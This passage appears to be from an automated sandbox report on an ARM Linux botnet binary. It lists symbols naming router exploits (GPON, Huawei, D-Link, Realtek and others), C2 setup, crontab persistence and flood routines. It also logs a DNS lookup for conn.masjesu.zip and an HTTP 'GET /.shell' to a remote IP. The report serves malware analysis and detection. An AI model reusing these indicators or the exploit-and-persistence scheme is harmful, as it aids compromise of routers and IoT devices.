              __syscall_error.symtab0x18b8428FUNC<unknown>HIDDEN2
              __syscall_error.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __syscall_fcntl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __syscall_fcntl64.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __syscall_rt_sigaction.symtab0x15ffc44FUNC<unknown>HIDDEN2
              __syscall_rt_sigaction.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __uClibc_fini.symtab0x15abc108FUNC<unknown>DEFAULT2
              __uClibc_init.symtab0x15b6c92FUNC<unknown>DEFAULT2
              __uClibc_main.symtab0x15bc8588FUNC<unknown>DEFAULT2
              __uClibc_main.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __uclibc_progname.symtab0x253f04OBJECT<unknown>HIDDEN9
              __udivsi3.symtab0x19934248FUNC<unknown>DEFAULT2
              __umodsi3.symtab0x10d38204FUNC<unknown>DEFAULT2
              __vfork.symtab0x15f0040FUNC<unknown>HIDDEN2
              __xpg_strerror_r.symtab0x13ae0232FUNC<unknown>DEFAULT2
              __xpg_strerror_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              __xstat64_conv.symtab0x165a4784FUNC<unknown>HIDDEN2
              __xstat_conv.symtab0x168b4204FUNC<unknown>HIDDEN2
              _adjust_pos.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _bss_end__.symtab0x27a6c0NOTYPE<unknown>DEFAULTSHN_ABS
              _charpad.symtab0x11fb076FUNC<unknown>DEFAULT2
              _cs_funcs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _dl_aux_init.symtab0x18b2436FUNC<unknown>DEFAULT2
              _dl_phdr.symtab0x27a644OBJECT<unknown>DEFAULT10
              _dl_phnum.symtab0x27a684OBJECT<unknown>DEFAULT10
              _edata.symtab0x2541c0NOTYPE<unknown>DEFAULTSHN_ABS
              _end.symtab0x27a6c0NOTYPE<unknown>DEFAULTSHN_ABS
              _errno.symtab0x276cc4OBJECT<unknown>DEFAULT10
              _exit.symtab0x10eec40FUNC<unknown>DEFAULT2
              _exit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _fini.symtab0x19bc04FUNC<unknown>DEFAULT3
              _fixed_buffers.symtab0x254a08192OBJECT<unknown>DEFAULT10
              _fopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _fp_out_narrow.symtab0x11ffc132FUNC<unknown>DEFAULT2
              _fpmaxtostr.symtab0x170f41640FUNC<unknown>HIDDEN2
              _fpmaxtostr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _fwrite.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _h_errno.symtab0x276d04OBJECT<unknown>DEFAULT10
              _init.symtab0x80944FUNC<unknown>DEFAULT1
              _load_inttype.symtab0x16f00112FUNC<unknown>HIDDEN2
              _load_inttype.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _memcpy.symtab0x178900FUNC<unknown>HIDDEN2
              _ppfs_init.symtab0x12674152FUNC<unknown>HIDDEN2
              _ppfs_init.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _ppfs_parsespec.symtab0x1292c1220FUNC<unknown>HIDDEN2
              _ppfs_parsespec.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _ppfs_prepargs.symtab0x1270c56FUNC<unknown>HIDDEN2
              _ppfs_prepargs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _ppfs_setargs.symtab0x12744412FUNC<unknown>HIDDEN2
              _ppfs_setargs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _promoted_size.symtab0x128e076FUNC<unknown>DEFAULT2
              _pthread_cleanup_pop_restore.symtab0x15b304FUNC<unknown>DEFAULT2
              _pthread_cleanup_push_defer.symtab0x15b304FUNC<unknown>DEFAULT2
              _rfill.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _sigintr.symtab0x279a8128OBJECT<unknown>HIDDEN10
              _start.symtab0x81900FUNC<unknown>DEFAULT2
              _stdio.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _stdio_fopen.symtab0x11a94760FUNC<unknown>HIDDEN2
              _stdio_init.symtab0x11d8c112FUNC<unknown>HIDDEN2
              _stdio_openlist.symtab0x250dc4OBJECT<unknown>DEFAULT9
              _stdio_openlist_add_lock.symtab0x250e024OBJECT<unknown>DEFAULT9
              _stdio_openlist_dec_use.symtab0x12fac320FUNC<unknown>DEFAULT2
              _stdio_openlist_del_count.symtab0x2549c4OBJECT<unknown>DEFAULT10
              _stdio_openlist_del_lock.symtab0x250f824OBJECT<unknown>DEFAULT9
              _stdio_openlist_use_count.symtab0x254984OBJECT<unknown>DEFAULT10
              _stdio_streams.symtab0x25114240OBJECT<unknown>DEFAULT9
              _stdio_term.symtab0x11e0c184FUNC<unknown>HIDDEN2
              _stdio_user_locking.symtab0x251104OBJECT<unknown>DEFAULT9
              _stdlib_strto_l.symtab0x1560c408FUNC<unknown>HIDDEN2
              _stdlib_strto_l.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _store_inttype.symtab0x16f7052FUNC<unknown>HIDDEN2
              _store_inttype.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _string_syserrmsgs.symtab0x1bfe42906OBJECT<unknown>HIDDEN4
              _string_syserrmsgs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _trans2r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _trans2w.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _uintmaxtostr.symtab0x16fa4336FUNC<unknown>HIDDEN2
              _uintmaxtostr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _vfprintf_internal.symtab0x120801524FUNC<unknown>HIDDEN2
              _vfprintf_internal.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              _wcommit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              abort.symtab0x14fac328FUNC<unknown>DEFAULT2
              abort.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              access.symtab0x10f1444FUNC<unknown>DEFAULT2
              access.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              add_to_crontab.symtab0x82b8176FUNC<unknown>DEFAULT2
              addthis.symtab0x8714160FUNC<unknown>DEFAULT2
              atoi.symtab0x155f812FUNC<unknown>DEFAULT2
              atol.symtab0x155f812FUNC<unknown>DEFAULT2
              atol.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              bcopy.symtab0x135d016FUNC<unknown>DEFAULT2
              been_there_done_that.symtab0x276ac4OBJECT<unknown>DEFAULT10
              been_there_done_that.2789.symtab0x276c84OBJECT<unknown>DEFAULT10
              bind.symtab0x148c444FUNC<unknown>DEFAULT2
              bind.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              brk.symtab0x18b4860FUNC<unknown>DEFAULT2
              brk.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              bsd_signal.symtab0x14a30184FUNC<unknown>DEFAULT2
              buf.2613.symtab0x274a416OBJECT<unknown>DEFAULT10
              buf.4901.symtab0x274b4460OBJECT<unknown>DEFAULT10
              call___do_global_ctors_aux.symtab0x19bb80FUNC<unknown>DEFAULT2
              call___do_global_dtors_aux.symtab0x81280FUNC<unknown>DEFAULT2
              call_frame_dummy.symtab0x81880FUNC<unknown>DEFAULT2
              calloc.symtab0x14ca888FUNC<unknown>DEFAULT2
              calloc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              chdir.symtab0x10f4044FUNC<unknown>DEFAULT2
              chdir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              check_crontab_entry.symtab0x81cc236FUNC<unknown>DEFAULT2
              child_count.symtab0x254684OBJECT<unknown>DEFAULT10
              child_pids.symtab0x27868320OBJECT<unknown>DEFAULT10
              chmod.symtab0x10f6c52FUNC<unknown>DEFAULT2
              chmod.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              close.symtab0x10fa044FUNC<unknown>DEFAULT2
              close.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              closedir.symtab0x11198180FUNC<unknown>DEFAULT2
              closedir.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              completed.2555.symtab0x2541c1OBJECT<unknown>DEFAULT10
              connect.symtab0x148f044FUNC<unknown>DEFAULT2
              connect.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              creat.symtab0x164b416FUNC<unknown>DEFAULT2
              createChildrenreplic.symtab0xa50c228FUNC<unknown>DEFAULT2
              crontab.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              crontabinit.symtab0x8368320FUNC<unknown>DEFAULT2
              crtstuff.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              crtstuff.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              csum.symtab0xaed8260FUNC<unknown>DEFAULT2
              daemonize.symtab0xa110172FUNC<unknown>DEFAULT2
              data_start.symtab0x250200NOTYPE<unknown>DEFAULT9
              decodea.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              decoded.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              decodeh.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              destroythis.symtab0x87b4104FUNC<unknown>DEFAULT2
              difftime.symtab0x1142416FUNC<unknown>DEFAULT2
              difftime.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              dl-support.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              dnslookup.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              dup2.symtab0x1602844FUNC<unknown>DEFAULT2
              dup2.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              encoded.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              encodeh.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              encodeq.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              encrypt.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              environ.symtab0x276b84OBJECT<unknown>DEFAULT10
              errno.symtab0x276cc4OBJECT<unknown>DEFAULT10
              errno.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              execl.symtab0x15838148FUNC<unknown>DEFAULT2
              execl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              execve.symtab0x1605444FUNC<unknown>DEFAULT2
              execve.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              exit.symtab0x157a4148FUNC<unknown>DEFAULT2
              exit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              exp10_table.symtab0x1ceb472OBJECT<unknown>DEFAULT4
              exploit.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              exploit_pid.symtab0x278544OBJECT<unknown>DEFAULT10
              exploit_socket_crossweb.symtab0x9558236FUNC<unknown>DEFAULT2
              exploit_socket_dlink.symtab0x9734240FUNC<unknown>DEFAULT2
              exploit_socket_gpon80.symtab0x8d80236FUNC<unknown>DEFAULT2
              exploit_socket_gpon8080.symtab0x8c88248FUNC<unknown>DEFAULT2
              exploit_socket_hnap.symtab0x9468240FUNC<unknown>DEFAULT2
              exploit_socket_huawei.symtab0x9194244FUNC<unknown>DEFAULT2
              exploit_socket_jaws.symtab0x9644240FUNC<unknown>DEFAULT2
              exploit_socket_netgear80.symtab0x90a8236FUNC<unknown>DEFAULT2
              exploit_socket_netgear8080.symtab0x8fb8240FUNC<unknown>DEFAULT2
              exploit_socket_r7064.symtab0x9824240FUNC<unknown>DEFAULT2
              exploit_socket_realtek.symtab0x8e6c332FUNC<unknown>DEFAULT2
              exploit_socket_tplink2.symtab0x9a04244FUNC<unknown>DEFAULT2
              exploit_socket_tr064_5555.symtab0x9378240FUNC<unknown>DEFAULT2
              exploit_socket_tr064_7574.symtab0x9288240FUNC<unknown>DEFAULT2
              exploit_socket_vacron.symtab0x9914240FUNC<unknown>DEFAULT2
              fclose.symtab0x11434384FUNC<unknown>DEFAULT2
              fclose.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fcntl.symtab0x15f38116FUNC<unknown>DEFAULT2
              fcntl64.symtab0x15fac80FUNC<unknown>DEFAULT2
              fdopen.symtab0x16ab856FUNC<unknown>DEFAULT2
              fdopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fflush_unlocked.symtab0x130ec484FUNC<unknown>DEFAULT2
              fflush_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fgetc_unlocked.symtab0x1775c304FUNC<unknown>DEFAULT2
              fgetc_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fgets.symtab0x12df0148FUNC<unknown>DEFAULT2
              fgets.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fgets_unlocked.symtab0x132d0152FUNC<unknown>DEFAULT2
              fgets_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fmt.symtab0x1cea020OBJECT<unknown>DEFAULT4
              fopen.symtab0x115b412FUNC<unknown>DEFAULT2
              fopen.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              force_to_data.symtab0x250140OBJECT<unknown>DEFAULT9
              force_to_data.symtab0x254180OBJECT<unknown>DEFAULT9
              fork.symtab0x10fcc44FUNC<unknown>DEFAULT2
              fork.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fprintf.symtab0x1160848FUNC<unknown>DEFAULT2
              fprintf.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fputs.symtab0x12e84140FUNC<unknown>DEFAULT2
              fputs.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fputs_unlocked.symtab0x1336852FUNC<unknown>DEFAULT2
              fputs_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              frame_dummy.symtab0x81300FUNC<unknown>DEFAULT2
              fread.symtab0x12f10156FUNC<unknown>DEFAULT2
              fread.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fread_unlocked.symtab0x1339c380FUNC<unknown>DEFAULT2
              fread_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              free.symtab0x14d00240FUNC<unknown>DEFAULT2
              free.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fseek.symtab0x18c2412FUNC<unknown>DEFAULT2
              fseeko.symtab0x18c2412FUNC<unknown>DEFAULT2
              fseeko.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fseeko64.symtab0x18c30304FUNC<unknown>DEFAULT2
              fseeko64.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fstat.symtab0x1608080FUNC<unknown>DEFAULT2
              fstat.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              fuckothernets.symtab0x9bd8136FUNC<unknown>DEFAULT2
              fwrite_unlocked.symtab0x13518172FUNC<unknown>DEFAULT2
              fwrite_unlocked.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              generateRandomIP.symtab0x106a8288FUNC<unknown>DEFAULT2
              generate_random_string.symtab0x9fd0320FUNC<unknown>DEFAULT2
              get_hosts_byname_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              get_http_content.symtab0xa1bc848FUNC<unknown>DEFAULT2
              get_ips_in_that_block.symtab0x100b4352FUNC<unknown>DEFAULT2
              get_local_ip.symtab0xafdc432FUNC<unknown>DEFAULT2
              get_pid.symtab0x9d04716FUNC<unknown>DEFAULT2
              getc_unlocked.symtab0x1775c304FUNC<unknown>DEFAULT2
              getdents.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              getdents64.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              getegid.symtab0x162c844FUNC<unknown>DEFAULT2
              getegid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              geteuid.symtab0x162f444FUNC<unknown>DEFAULT2
              geteuid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              getgid.symtab0x1632044FUNC<unknown>DEFAULT2
              getgid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              gethostbyname.symtab0x1450c68FUNC<unknown>DEFAULT2
              gethostbyname.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              gethostbyname_r.symtab0x14550884FUNC<unknown>DEFAULT2
              gethostbyname_r.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              getmethis.symtab0x86a0116FUNC<unknown>DEFAULT2
              getpid.symtab0x10ff844FUNC<unknown>DEFAULT2
              getpid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              getsockname.symtab0x1491c44FUNC<unknown>DEFAULT2
              getsockname.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              gettimeofday.symtab0x1102444FUNC<unknown>DEFAULT2
              gettimeofday.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              getuid.symtab0x1634c44FUNC<unknown>DEFAULT2
              getuid.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              global.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              gre.symtab0xbfbc964FUNC<unknown>DEFAULT2
              h.4900.symtab0x2768020OBJECT<unknown>DEFAULT10
              h_errno.symtab0x276d04OBJECT<unknown>DEFAULT10
              handshake.symtab0xb8881104FUNC<unknown>DEFAULT2
              heap_alloc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              heap_free.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              htonl.symtab0x13c9836FUNC<unknown>DEFAULT2
              htons.symtab0x13cbc20FUNC<unknown>DEFAULT2
              http.symtab0xbcd8740FUNC<unknown>DEFAULT2
              i.symtab0x2543c4OBJECT<unknown>DEFAULT10
              icmp.symtab0xcb08964FUNC<unknown>DEFAULT2
              igmp.symtab0xcecc964FUNC<unknown>DEFAULT2
              ignore_signals.symtab0x9cb876FUNC<unknown>DEFAULT2
              increment_ip.symtab0x1006084FUNC<unknown>DEFAULT2
              index.symtab0x13718264FUNC<unknown>DEFAULT2
              inet_addr.symtab0x144e836FUNC<unknown>DEFAULT2
              inet_aton.symtab0x14370236FUNC<unknown>DEFAULT2
              inet_aton.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              inet_makeaddr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              inet_ntoa.symtab0x144dc12FUNC<unknown>DEFAULT2
              inet_ntoa.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              inet_ntoa_r.symtab0x1445c128FUNC<unknown>DEFAULT2
              inet_ntop.symtab0x14110608FUNC<unknown>DEFAULT2
              inet_ntop4.symtab0x13fac356FUNC<unknown>DEFAULT2
              inet_pton.symtab0x13d9c528FUNC<unknown>DEFAULT2
              inet_pton4.symtab0x13cd0204FUNC<unknown>DEFAULT2
              initC2.symtab0xa6701740FUNC<unknown>DEFAULT2
              initReplic.symtab0x109a4916FUNC<unknown>DEFAULT2
              initfini.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              initfini.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              initial_fa.symtab0x25208260OBJECT<unknown>DEFAULT9
              initstate.symtab0x15200152FUNC<unknown>DEFAULT2
              initstate_r.symtab0x15530200FUNC<unknown>DEFAULT2
              ioctl.symtab0x1637880FUNC<unknown>DEFAULT2
              ioctl.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              ip.3336.symtab0x2546c16OBJECT<unknown>DEFAULT10
              ipState.symtab0x2544040OBJECT<unknown>DEFAULT10
              isPortOpen.symtab0x107c8476FUNC<unknown>DEFAULT2
              isatty.symtab0x13bd432FUNC<unknown>DEFAULT2
              isatty.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              isbl.symtab0x102141172FUNC<unknown>DEFAULT2
              kill.symtab0x1105044FUNC<unknown>DEFAULT2
              kill.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              killChildren.symtab0xa5f0128FUNC<unknown>DEFAULT2
              lengthd.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              lengthq.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/string/arm/_memcpy.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/string/arm/bcopy.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/string/arm/memcpy.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/string/arm/memmove.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/string/arm/memset.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/string/arm/strcmp.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/string/arm/strlen.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/sysdeps/linux/arm/crt1.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/sysdeps/linux/arm/crti.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/sysdeps/linux/arm/crtn.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/sysdeps/linux/arm/sigrestorer.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              libc/sysdeps/linux/arm/vfork.S.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              llseek.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              lock.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              lockthis.symtab0x864c84FUNC<unknown>DEFAULT2
              lseek64.symtab0x163c8100FUNC<unknown>DEFAULT2
              main.symtab0xad3c412FUNC<unknown>DEFAULT2
              main.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              malloc.symtab0x14b54340FUNC<unknown>DEFAULT2
              malloc.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              max.symtab0x254384OBJECT<unknown>DEFAULT10
              memchr.symtab0x17d30252FUNC<unknown>DEFAULT2
              memchr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              memcpy.symtab0x135e04FUNC<unknown>DEFAULT2
              memmove.symtab0x17d204FUNC<unknown>DEFAULT2
              mempcpy.symtab0x17e2c24FUNC<unknown>DEFAULT2
              mempcpy.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              memrchr.symtab0x17e44236FUNC<unknown>DEFAULT2
              memrchr.c.symtab0x00FILE<unknown>DEFAULTSHN_ABS
              memset.symtab0x135f0156FUNC<unknown>DEFAULT2

              Network Behavior

              Download Network PCAP: filtered – full

              Network Port Distribution

              • Total Packets: 9
              • • 443 (HTTPS)
              • • 80 (HTTP)
              • • 53 (DNS)
              TimestampSource PortDest PortSource IPDest IP
              Nov 3, 2024 13:54:38.554754972 CET46696443192.168.2.14216.126.231.240
              Nov 3, 2024 13:54:38.554790974 CET44346696216.126.231.240192.168.2.14
              Nov 3, 2024 13:54:38.554840088 CET46696443192.168.2.14216.126.231.240
              Nov 3, 2024 13:54:38.557223082 CET3473080192.168.2.14216.126.231.240
              Nov 3, 2024 13:54:38.563147068 CET8034730216.126.231.240192.168.2.14
              Nov 3, 2024 13:54:38.563186884 CET3473080192.168.2.14216.126.231.240
              Nov 3, 2024 13:54:38.565721989 CET3473080192.168.2.14216.126.231.240
              Nov 3, 2024 13:54:38.571358919 CET8034730216.126.231.240192.168.2.14
              Nov 3, 2024 13:54:39.813081980 CET8034730216.126.231.240192.168.2.14
              Nov 3, 2024 13:54:39.813565016 CET3473080192.168.2.14216.126.231.240
              Nov 3, 2024 13:54:39.818428040 CET8034730216.126.231.240192.168.2.14
              Nov 3, 2024 13:55:40.863044024 CET46696443192.168.2.14216.126.231.240
              Nov 3, 2024 13:55:40.863177061 CET44346696216.126.231.240192.168.2.14
              Nov 3, 2024 13:55:40.863257885 CET46696443192.168.2.14216.126.231.240
              TimestampSource PortDest PortSource IPDest IP
              Nov 3, 2024 13:54:38.542503119 CET5953753192.168.2.141.1.1.1
              Nov 3, 2024 13:54:38.552615881 CET53595371.1.1.1192.168.2.14

              DNS Queries

              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
              Nov 3, 2024 13:54:38.542503119 CET192.168.2.141.1.1.10x5c25Standard query (0)conn.masjesu.zipA (IP address)IN (0x0001)false

              DNS Answers

              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
              Nov 3, 2024 13:54:38.552615881 CET1.1.1.1192.168.2.140x5c25No error (0)conn.masjesu.zip87.120.84.230A (IP address)IN (0x0001)false
              Nov 3, 2024 13:54:38.552615881 CET1.1.1.1192.168.2.140x5c25No error (0)conn.masjesu.zip216.126.231.240A (IP address)IN (0x0001)false

              HTTP Request Dependency Graph

              • 216.126.231.240

              HTTP Packets

              Session IDSource IPSource PortDestination IPDestination Port
              0192.168.2.1434730216.126.231.24080
              TimestampBytes transferredDirectionData
              Nov 3, 2024 13:54:38.565721989 CET78OUTGET /.shell HTTP/1.1
              Host: 216.126.231.240
              Connection: close


              System Behavior

              General

              Start time (UTC):12:54:36
              Start date (UTC):03/11/2024
              Path:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
              Arguments:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              File Activities

              Process Activities

              System Activities


              General

              Start time (UTC):12:54:36
              Start date (UTC):03/11/2024
              Path:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              File Activities

              Process Activities


              General

              Start time (UTC):12:54:36
              Start date (UTC):03/11/2024
              Path:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              Process Activities


              General

              Start time (UTC):12:54:36
              Start date (UTC):03/11/2024
              Path:/bin/sh
              Arguments:sh -c "crontab -l"
              File size:129816 bytes
              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

              File Activities

              Process Activities


              General

              Start time (UTC):12:54:36
              Start date (UTC):03/11/2024
              Path:/bin/sh
              Arguments:-
              File size:129816 bytes
              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

              Process Activities


              General

              Start time (UTC):12:54:36
              Start date (UTC):03/11/2024
              Path:/usr/bin/crontab
              Arguments:crontab -l
              File size:43720 bytes
              MD5 hash:66e521d421ac9b407699061bf21806f5

              File Activities

              Network Activities


              General

              Start time (UTC):12:54:36
              Start date (UTC):03/11/2024
              Path:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              Process Activities


              General

              Start time (UTC):12:54:36
              Start date (UTC):03/11/2024
              Path:/bin/sh
              Arguments:sh -c "crontab -"
              File size:129816 bytes
              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

              File Activities

              Process Activities


              General

              Start time (UTC):12:54:36
              Start date (UTC):03/11/2024
              Path:/bin/sh
              Arguments:-
              File size:129816 bytes
              MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

              Process Activities


              General

              Start time (UTC):12:54:36
              Start date (UTC):03/11/2024
              Path:/usr/bin/crontab
              Arguments:crontab -
              File size:43720 bytes
              MD5 hash:66e521d421ac9b407699061bf21806f5

              File Activities

              Network Activities


              General

              Start time (UTC):12:54:37
              Start date (UTC):03/11/2024
              Path:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              File Activities

              Process Activities

              Network Activities


              General

              Start time (UTC):12:54:37
              Start date (UTC):03/11/2024
              Path:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              File Activities

              Process Activities


              General

              Start time (UTC):12:54:37
              Start date (UTC):03/11/2024
              Path:/tmp/doQQmLpWCXK3TF48O7pZ2ayjzBZWAPU7nH.elf
              Arguments:-
              File size:4956856 bytes
              MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

              File Activities

              Process Activities